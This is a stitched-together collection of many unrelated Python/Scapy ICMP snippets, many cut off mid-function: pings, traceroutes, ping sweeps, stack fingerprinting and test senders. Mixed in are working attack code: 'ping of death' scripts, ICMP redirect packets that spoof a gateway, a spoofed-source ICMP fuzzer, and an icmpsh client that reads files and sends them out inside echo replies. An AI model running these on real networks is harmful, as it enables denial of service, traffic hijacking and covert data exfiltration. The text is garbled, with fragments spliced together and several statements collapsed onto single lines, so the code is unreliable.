def cmd_ping(ip, interface, count, timeout, wait, verbose):
"""The classic ping tool that send ICMP echo requests.
\b
# habu.ping 8.8.8.8
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
IP / ICMP 8.8.8.8 > 192.168.0.5 echo-reply 0 / Padding
"""
if interface:
conf.iface = interface
conf.verb = False
conf.L3socket=L3RawSocket
layer3 = IP()
layer3.dst = ip
layer3.tos = 0
layer3.id = 1
layer3.flags = 0
layer3.frag = 0
layer3.ttl = 64
layer3.proto = 1 # icmp
layer4 = ICMP()
layer4.type = 8 # echo-request
layer4.code = 0
layer4.id = 0
layer4.seq = 0
pkt = layer3 / layer4
counter = 0
while True:
ans = sr1(pkt, timeout=timeout)
if ans:
if verbose:
ans.show()
else:
print(ans.summary())
del(ans)
else:
print('Timeout')
counter += 1
if count != 0 and counter == count:
break
sleep(wait)
return True
def main(args):
print "[*] Comenzando el fuzzing..."
pkt_lst = []
for i in xrange(args.count):
ip_layer = IP(dst=args.target)
# Fuzz IP layer
#
# Src ramdon?
if random_bool():
ip_layer.src = str(RandIP())
# IP ID
if random_bool():
ip_layer.id = int(RandShort())
# IP TTL
if random_bool():
ip_layer.ttl = int(RandInt()) % 255
icmp_layer = ICMP()
# Fuzz ICMP layer
#
# Type random
if random_bool():
icmp_layer.type = int(RandByte())
# Seq random
if random_bool():
icmp_layer.seq = int(RandShort())
pkt = ip_layer/icmp_layer
pkt_lst.append(pkt)
sendp(pkt_lst, inter=args.interval)
print "[*] Enviado %s paquetes" % i
print '\tQuick Ping Sweep\n'
if len(sys.argv) != 2:
print '[?] Usage: pingsweep <network>'
sys.exit(0)
net = sys.argv[1]
print 'Input network:', net
responding = []
network = netaddr.IPNetwork(net)
for ip in network:
if ip == network.network or ip == network.broadcast:
continue
# Send & wait for response for the ICMP Echo Request packet
reply = sr1(IP(dst=str(ip)) / ICMP(),
timeout=PING_TIMEOUT,
iface=IFACE,
verbose=0)
if not reply:
continue
if int(reply.getlayer(ICMP).type) == 0 and int(
reply.getlayer(ICMP).code) == 0:
print ip, ': Host is responding to ICMP Echo Requests.'
responding.append(ip)
print '[+] Spotted {} ICMP Echo Requests.'.format(len(responding))
def icmpv4_probe(dst_host, timeout):
icmptype_i = 0x8
icmptype_name_i = 'ICMP ECHO'
icmptype_o = 0x0
icmptype_name_o = 'ICMP ECHO_REPLY'
stack_name = None
match = MATCH_NO_MATCH
ip = IP(dst=dst_host, ttl=20, proto=0x01)
# First, check if we can reach ICMP
std_icmp_payload = '\xcd\x69\x08\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17' \
'\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27' \
'\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37'
reply = sr1(ip / ICMP(id=0xff, seq=1, type=icmptype_i) /
Raw(load=std_icmp_payload),
filter='icmp[icmptype] = {}'.format(icmptype_o),
timeout=timeout)
if not reply:
return (stack_name, MATCH_NO_REPLY)
# If there is no reply to the second ICMP packet, either the target IP cannot be reached (or ICMP is
# disabled), or we deal with the CycloneTCP stack that will accept only ICMP packets that have at least 1 byte
# of data. To check for CycloneTCP, we craft such a packet: we expect the 1 byte of data back (+ optional padding).
reply = sr1(ip / ICMP(id=0xff, seq=1, type=icmptype_i),
filter='icmp[icmptype] = {}'.format(icmptype_o),
timeout=timeout)
if not reply:
reply = sr1(ip / ICMP(id=0xff, seq=1, type=icmptype_i) /
Raw(load=b'\x41'),
filter='icmp[icmptype] = {}'.format(icmptype_o),
timeout=timeout)
if reply and (reply.ttl >= 54 and reply.ttl <= 64):
if Raw in reply and Padding in reply and reply[Raw].load == b'\x41':
match = MATCH_MEDIUM
stack_name = 'CycloneTCP'
return (stack_name, match)
# Next, we prepare a packet that should work with uIP/Contiki and PicoTCP
icmp_raw = b'\x08\x01\x02'
ipv4_probe = ip / Raw(load=icmp_raw)
# Send the malformed ICMP packet
# If we get the expected reply it is either PicoTCP or uIP/Contiki:
# - we first check that the TTL value of the echo packet is changed into 64 for the reply packet
# - we then check the payload sequence of the echo reply packet
reply = sr1(ipv4_probe,
filter='icmp[icmptype] = {}'.format(icmptype_o),
timeout=timeout)
if reply and (reply.ttl >= 54 and reply.ttl <= 64):
if (hexlify(reply.load) == b'0001ff'):
match = MATCH_HIGH
stack_name = 'PicoTCP'
elif (hexlify(reply.load) == b'00010a'):
match = MATCH_HIGH
stack_name = 'uIP/Contiki'
else: # we did not get a reply for the first malformed packet
_id = 0xab
_seq = 0xba
# Nut/Net should reply to ICMP packets with incorrect IP and ICMP checksums
ipv4_probe = IP(dst=dst_host, ttl=20, chksum=0xdead) / ICMP(
id=_id, seq=_seq, type=icmptype_i, chksum=0xbeaf)
reply = sr1(ipv4_probe,
filter='icmp[icmptype] = {}'.format(icmptype_o),
timeout=timeout)
# TTL value must be 64 as well
if reply and (reply.ttl >= 54 and reply.ttl <= 64):
if (reply[ICMP].id == _id and reply[ICMP].seq == _seq
and reply[ICMP].type == 0x00):
match = MATCH_MEDIUM
stack_name = 'Nut/Net'
# Here we handle all other cases
if match == MATCH_NO_MATCH:
# NDKTCPIP should reply to an ICMP packet that has at least 4 bytes of the header and a correct ICMP checksum
# The code (2nd byte) must be 0x00
icmp_raw = b'\x08\x00\xf7\xff'
ipv4_probe = ip / Raw(load=icmp_raw)
# For some reason Scapy will not get the reply to this packet, so I had to use asynchronous sniffing
t = AsyncSniffer(iface=interface)
t.start()
send(ipv4_probe)
time.sleep(timeout)
pkts = t.stop()
for pkt in pkts:
# first, let's check the source and the destination IP
if IP in pkt and pkt[IP].src == dst_host and pkt[IP].dst == ip.src:
# NDKTCPIP will reply with a TTL value of 255, the ICMP checksum will be 0xffff
if ICMP in pkt and pkt[ICMP].type == 0x00 and pkt[
ICMP].chksum == 0xffff:
# NDKTCPIP will reply with a TTL value of 255, the ICMP checksum will be 0xffff
if (pkt.ttl >= 245 and pkt.ttl <= 255):
match = MATCH_HIGH
stack_name = 'NDKTCPIP'
break
# Nucleus Net AND NicheStack will reply with a TTL value of 64, the ICMP checksum will be 0xffff.
# So far, we assume it is NicheStack.
elif (pkt.ttl <= 64):
match = MATCH_MEDIUM
stack_name = 'NicheStack'
break
# We do an additional check for Nucleus Net: it will reply to a malformed ICMP packet that has only 1 byte in its header.
# If we don't get a reply, NicheStack it is.
if stack_name == 'NicheStack':
icmp_raw = b'\x08'
ipv4_probe = ip / Raw(load=icmp_raw)
t = AsyncSniffer(iface=interface)
t.start()
send(ipv4_probe)
time.sleep(timeout)
pkts = t.stop()
for pkt in pkts:
# first, let's check the source and the destination IP
if IP in pkt and pkt[IP].src == dst_host and pkt[IP].dst == ip.src:
if ICMP in pkt and pkt[ICMP].type == 0x00 and pkt[
ICMP].chksum == None:
match = MATCH_MEDIUM
stack_name = 'Nucleus Net'
break
return (stack_name, match)
from scapy.all import send, IP, ICMP send(IP(dst="192.168.3.100") / ICMP()) send(IP(dst="192.168.4.100") / ICMP())
def POD(ip_addr, amt):
send(fragment(IP(dst=ip_addr) / ICMP() / ("X" * int(amt))))
return 1
from scapy.all import IP, ICMP, sr1
import sys
import time
import numpy as np
# destination is passed as a command line arguement
ip = sys.argv[1]
# used to collect estimated rtt
time_lst = []
print("Pinging " + ip + " with 28 bytes of data:")
for i in range(10):
# Create IP packet with ICMP request
pkt = IP(dst=ip)/ICMP()
t1 = time.time() # t1 = time before sending
rcv_pkt = sr1(pkt, verbose=False)
t2 = time.time() # t2 = time of arrival
time_lst.append((t2-t1)*1000)
# print received packet info
print("Reply from {}: bytes={} time={:.1f}ms TTL={}"
.format(rcv_pkt.src, rcv_pkt.len, time_lst[-1], rcv_pkt.ttl))
# delay for 1 second
time.sleep(1)
# Median Absolute Deviation
#!/usr/bin/python3
import sys
from scapy.all import send, IP, ICMP
if len(sys.argv) < 3:
print(sys.argv[0] + " <src_ip> <dst_ip>")
sys.exit(1)
packet = IP(src=sys.argv[1], dst=sys.argv[2]) / ICMP()
answer = send(packet)
if answer:
answer.show()
def traceroute_discovery(self):
external_ip = requests.get("http://canhazip.com").text # getting external ip, to determine if cloud cluster
from scapy.all import ICMP, IP, Ether, srp1
node_internal_ip = srp1(Ether() / IP(dst="google.com" , ttl=1) / ICMP(), verbose=0)[IP].src
return [ [node_internal_ip,"24"], ], external_ip
def send(src,
iface,
dst,
distance,
pow,
gain,
filename,
flag=True,
miss_pkt='',
times=10,
send_pkt=[]):
info(distance)
count = 0.0 # 记录实际发送了多少个包
total = 0
if distance <= 4:
loss = 0
else:
loss = 0.1
if flag:
index = 0
#filename1='/home/shlled/mininet-wifi/Log/%s' % filename
filename1 = '/home/shlled/mininet-project-duan/Stackelberg/Log/%s' % filename
f1 = open(filename1, 'r')
buffer = f1.readlines()
lenth = len(buffer)
total = lenth
while index < lenth:
time.sleep(0.1)
now = time.time()
alpha = buffer[index]
#alpha=buffer[index].strip()
msg = "send_time: " + "%.6f" % float(
now
) + " filename:%s" % filename + "total:%d" % total + "index:%d" % index + "data:" + alpha
send_pkt.append(msg)
print(msg)
p = Ether() / IP(src=src, dst=dst) / ICMP() / msg
"miss packet"
top = int(100 - 100 * loss)
key = random.randint(1, 100)
if key in range(1, top):
sendp(p, iface=iface)
count += 1
else:
print("can't send the packet\n")
index += 1
f1.close()
else:
#filename1='/home/shlled/mininet-wifi/Log/%s' % filename
filename1 = '/home/shlled/mininet-project-duan/Stackelberg/Log/%s' % filename
f1 = open(filename1, 'r')
buffer = f1.readlines()
lenth = len(buffer)
total = lenth
#miss_pkt = stringToList(miss_pkt)
while miss_pkt != []:
info("miss_pkt in send.py:", miss_pkt)
print(miss_pkt)
time.sleep(0.1)
now = time.time()
alpha = buffer[int(miss_pkt[0])]
print('alpha', alpha)
msg = "send_time: " + "%.6f" % float(
now
) + " filename:%s" % filename + "total:%d" % total + "index:%d" % miss_pkt[
0] + "data:" + alpha
send_pkt.append(msg)
print(msg)
p = Ether() / IP(src=src, dst=dst) / ICMP() / msg
"miss packet"
top = int(100 - 100 * loss)
key = random.randint(1, 100)
if key in range(1, top):
sendp(p, iface=iface)
miss_pkt.pop(0)
else:
miss_pkt.pop(0)
print("can't send the packet\n")
f1.close()
filename2 = '/home/shlled/mininet-project-duan/Stackelberg/Log/UE%s.json' % src[
7:8]
#第一次发送包时才更新能量和收益，重传时不考虑
if flag:
with open(filename2, 'r+') as f2:
buffer = f2.readlines()
lenth = len(buffer)
data = json.loads(buffer[lenth - 1])
data["POWER"] -= pow
data["Gains"] += gain
integ = count / total
data["Integrity"] = integ
json.dump(data, f2)
f2.write("\n")
target = self.args['icmp_dst']
data = self.args['icmp_payload']
unused = self.args['icmp_unused']
ip = IP(dst=self.args['icmp_dst'])
icmp = ICMP(type=self.args['icmp_type'],
code=self.args['icmp_code'],
unused=self.args['icmp_unused']
)
# Create ICMP packet(s) to send
p=sr1(ip/icmp/data)
if p:
p.summary()
def usage(self):
self.parser.print_usage()
def read_parameters(self, params_source):
if len(params_source)==0:
self.usage()
sys.exit(1)
else:
self.args = vars(self.parser.parse_args(params_source))
if __name__ == '__main__':
myICMP = ICMP()
myICMP.read_parameters(sys.argv[1:])
myICMP.run()
def ping(self):
print(f"Session {str2mac(self.mac)} running ping from {self.addr} to {self.dhcp_server}")
pkt = Ether(src=self.mac, dst="ff:ff:ff:ff:ff:ff")
pkt /= IP(src=self.addr, dst=self.dhcp_server)
pkt /= ICMP()
self.sendp(pkt)
#!/usr/bin/python3
import sys
from scapy.all import IP, ICMP, L3RawSocket, conf, srloop
conf.L3socket = L3RawSocket
if len(sys.argv) < 2:
print("Usage: ping host count")
exit
pinger = IP(dst=sys.argv[1]) / ICMP()
resp = srloop(pinger, count=int(sys.argv[2]))
if resp:
print("Ping response: " + str(resp))
for p in range(0, len(resp[0])):
resp[0][p][1].show()
else:
print("No answer")
from scapy.all import IP, ICMP, sr1
import sys
import time
# destination is passed as a command line arguement
ip = sys.argv[1]
for i in range(1, 31):
time_lst = []
# Create IP packet with ICMP request
pkt = IP(dst=ip, ttl=i) / ICMP()
source = ip
for j in range(3):
t1 = time.time() # t1 = time before sending
rcv_pkt = sr1(pkt, verbose=False)
t2 = time.time() # t2 = time of arrival
time_lst.append((t2 - t1) * 1000)
source = rcv_pkt.src
# print received packet info
print("{} {:.1f} ms {:.1f} ms {:.1f} ms {}".format(
i, time_lst[0], time_lst[1], time_lst[2], source))
#!/usr/bin/env python
#
# Example from:
# http://www.secdev.org/projects/scapy/build_your_own_tools.html
#
# This is meant to be executed on h1 to ping toward h2
#
from scapy.all import sr1, IP, ICMP
dstIP = '10.0.0.2'
packet = sr1(IP(dst=dstIP) / ICMP())
if packet:
packet.show()
#*** Get parameters from command line
SRC_MAC = sys.argv[1]
DST_MAC = sys.argv[2]
SRC_IP = sys.argv[3]
DST_IP = sys.argv[4]
IF_NAME = sys.argv[5]
REPEAT_INTERVAL = float(sys.argv[6])
REPEAT_COUNT = int(sys.argv[7])
data = "blahblahblah"
# define ip and icmp
eth = Ether()
eth.src=SRC_MAC
eth.dst=DST_MAC
ip = IP()
ip.src = SRC_IP
ip.dst = DST_IP
icmp = ICMP()
icmp.type = 8
icmp.code = 0
finished = 0
count = 0
while not finished:
sendp(eth/ip/icmp/data, iface=IF_NAME)
time.sleep(REPEAT_INTERVAL)
count += 1
if count >= REPEAT_COUNT:
finished = 1
infos = data[:6]
filename = data[6:]
dataUnpacked = unpack('IH',infos)
offset = dataUnpacked[0]
size = dataUnpacked[1]
sys.stdout.write("Filename : " + filename + "\nOffset : " + str(offset) + "\n")
try:
f = open(filename)
except:
print "%s not found"%filename
continue
f.seek(offset)
line = f.read(size)
f.close()
send(fragment(IP(dst=sys.argv[2]) / ICMP(type='echo-reply', id=ident, seq=seq_id) / (line)))
except:
if len(data) == 0:
print "End"
else:
print "Invalid ICMP buffer"
if __name__ == '__main__':
if len(sys.argv) < 3:
msg = 'missing mandatory options. Execute as root:\n'
msg += './icmpsh_download_cli.py <source IP address> <destination IP address>\n'
sys.stderr.write(msg)
sys.exit(1)
main(sys.argv[1], sys.argv[2])
#You are sending a SYN and correctly receiving a SYN_ACK.
# At this point, you should generate and send an ACK based on the SYN_ACK that you've received,
# and THEN finally transmit the HTTP GET request
from scapy import *
from scapy.layers.http import HTTPRequest,HTTPResponse,HTTP,http_request
from scapy.all import load_layer
from scapy.all import sr1,IP,ICMP,TCPSession,sr,srp,srp1,send,sendp,sendpfast,RandShort
from scapy.layers.inet import TCP_client,TCP,Ether,UDP
ans,unans = sr(IP(dst="8.8.8.8")/TCP(dport=[80,443],flags="S"),timeout=1)
p=sr1(IP(dst='8.8.8.8')/ICMP())
if p:
p.show()
dir(scapy.layers.http)
HTTPRequest().show()
HTTPResponse().show()
load_layer("http")
req = HTTP()/HTTPRequest(
Accept_Encoding=b'gzip, deflate',
Cache_Control=b'no-cache',
Connection=b'keep-alive',
Host=b'www.secdev.org',
Pragma=b'no-cache'
gtpc = rdpcap(
'traces/gtpv2-create-session-request.pcap')[0]["GTP v2 Header"]
gtpc["GTPv2 Create Session Request"]["IE IMSI"].IMSI = imsi
gtpc["GTPv2 Create Session Request"][
"IE APN"].APN = '{}.mnc099.mcc999.gprs'.format(apn)
gtpc["GTPv2 Create Session Request"]['IE MSISDN'].digits = msisdn
#gtpc.show()
return gtpc.build()
if "__main__" == __name__:
imsi, msisdn, apn = parse_opt()
gtpc = get_gtp_packet(imsi, msisdn, apn)
sock = create_socket()
sock.send(gtpc)
data = sock.recv(256)
sock.close()
resp = gtp.GTPHeader(data)
if (resp["GTPv2 Create Session Response"]["IE Cause"].Cause == 16):
# request accepted
pgwu_teid = resp["IE Bearer Context"]["IE F-TEID"].GRE_Key
allocated_ip = resp["GTPv2 Create Session Response"]["IE PAA"].ipv4
icmp_packet = IP(src=allocated_ip, dst=ICMP_DST_IP) / ICMP()
print("Session created.\nIP={}\nPGWU_TEID={}\nGTPU_PAYLOAD={}".format(
allocated_ip, pgwu_teid,
icmp_packet.build().hex()))
else:
print("Failed to create session")
resp.show()
sys.exit(1)
def usage():
print(sys.argv[0] + """
-t <target>
-o <old_gw>
-n <new_gw>""")
sys.exit(1)
# Parsing parameter
try:
cmd_opts = "t:o:n:r:"
opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
usage()
for opt in opts:
if opt[0] == "-t":
target = opt[1]
elif opt[0] == "-o":
old_gw = opt[1]
elif opt[0] == "-n":
new_gw = opt[1]
else:
usage()
# Construct and send the packet
packet = IP(src=old_gw, dst=target) / \
ICMP(type=5, code=1, gw=new_gw) / \
IP(src=target, dst='0.0.0.0')
send(packet)
def get_cbr0_ip_mac(self):
config = get_config()
res = srp1(Ether() / IP(dst="1.1.1.1", ttl=1) / ICMP(),
verbose=0,
timeout=config.network_timeout)
return res[IP].src, res.src
import sys
import time
from scapy.all import IP, ICMP, sr1
ip = sys.argv[1]
icmp = IP(dst=ip) / ICMP()
cur_min = 0
f = open("uplog.txt", "a")
try:
while True:
resp = sr1(icmp, timeout=1)
secs = time.localtime()
if cur_min != secs.tm_min:
cur_min = secs.tm_min
f.write("]\n[" + str(f"{secs.tm_hour:02d}") + ":" +
str(f"{secs.tm_min:02d}") + ":" +
str(f"{secs.tm_sec:02d}") + "]|[")
if resp == None:
f.write("-")
else:
f.write(".")
time.sleep(1)
f.flush()
except:
f.close()
# Define IP range to ping
network = "192.168.130.0/24"
# make list of addresses out of network, set live host counter
addresses = IPv4Network(network)
live_count = 0
# Send ICMP ping request, wait for answer
for host in addresses:
if (host in (addresses.network_address, addresses.broadcast_address)):
# Skip network and broadcast addresses
continue
resp = sr1(
IP(dst=str(host))/ICMP(),
timeout=2,
verbose=0,
)
if resp is None:
print(f"{host} is down or not responding.")
elif (
int(resp.getlayer(ICMP).type)==3 and
int(resp.getlayer(ICMP).code) in [1,2,3,9,10,13]
):
print(f"{host} is blocking ICMP.")
elif (
int(resp.getlayer(ICMP).type) == 0 and
int(resp.getlayer(ICMP).code) == 0
):
def build_icmp(self):
pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
IP(src=self.target, dst=self.gateway)/UDP()
return pkt
#!/usr/bin/python3
import sys
from scapy.all import sr1, IP, ICMP, L3RawSocket, conf
conf.L3socket = L3RawSocket
p = sr1(IP(dst=sys.argv[1]) / ICMP())
if p:
p.show()
else:
print("Nothing")
def icmpPing(dstIP):
ans, unans = sr(IP(dst=dstIP) / ICMP())
ans.summary(lambda s, r: r.sprintf("%IP.src% is alive"))
def create_ping_packet(ip_src="192.168.0.33", ip_dst="192.168.0.1"):
packet = scapy.layers.inet.IP(src=ip_src, dst=ip_dst, ttl=20)/ICMP()
new_packet = scapy.layers.inet.IP(bytes(packet)) # to populate all fields
return new_packet
def ICMPTraceroute(self, host):
if host not in self.hosts:
self.hosts.append(host)
d = defer.Deferred()
reactor.callLater(self.timeout, d.callback, self)
self.sendPackets(IP(dst=host, ttl=(self.ttl_min, self.ttl_max), id=RandShort()) / ICMP(id=RandShort()))
return d
#! /usr/bin/env python from scapy.all import send, IP, ICMP send(IP(src="192.168.232.128", dst="192.168.17.128") / ICMP() / "Hello World")
#! /usr/bin/env python3
# To run this code use following command
# sudo chmod +x <filename>.py
# sudo python <filename>.py
from scapy.all import ICMP, sr1, IP, srloop, conf
#from scapy.all import *
#print("Hello World")
conf.iface = "wlp3s0"
print(sr1(IP(dst="192.168.0.1") / ICMP()).summary())
resp = srloop(IP(dst="192.168.0.1", ttl=202) / ICMP(), count=5)
print("Ping response received")
print(resp[0])
t = SnifferThread(iface)
t.daemon = True
t.start()
send_socket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW,
socket.htons(0x03))
if args.dl:
pkt = Ether(dst='00:aa:bb:00:00:a5', src='00:55:00:00:00:00') / IP(
dst='192.168.0.1', src='192.168.0.10') / TCP(sport=80,
dport=20) / "NAT DL"
port2send = port_map[2]
elif args.greh1:
pkt = Ether(dst='00:aa:bb:00:00:a5', src='00:55:00:00:00:00') / IP(
dst='192.168.0.1', src='192.168.0.10') / ICMP() / "icmp"
port2send = port_map[2]
else:
pkt = Ether(dst='00:aa:bb:00:00:04', src='00:44:00:00:00:00') / IP(
dst='192.168.0.10', src='10.0.0.10') / TCP(sport=20,
dport=80) / "NAT Ul"
port2send = port_map[1]
send_socket.bind((port2send, 0))
delays = PacketDelay(10, 5, 25, 100, NUM_PACKETS)
ports = []
print "Sending", NUM_PACKETS, "packets by ", port2send, "..."
for d in delays:
# sendp is too slow...
# sendp(pkt, iface=port_map[3], verbose=0)
# if args.random_dport:
def run(self):
print "death pinging " + self.ip
send(fragment(IP(dst=self.ip) / ICMP() / ("V" * self.length)))
#!/usr/bin/python
# This tool is for educational use only!
# Description: Ping of death
# Requirements: scapy + root privileges
import sys
from scapy.all import send, fragment, IP, ICMP
if len(sys.argv) < 2:
print "{0} <dst_ip>".format(sys.argv[0])
sys.exit(1)
send(fragment(IP(dst=sys.argv[1]) / ICMP() / ("X" * 60000)))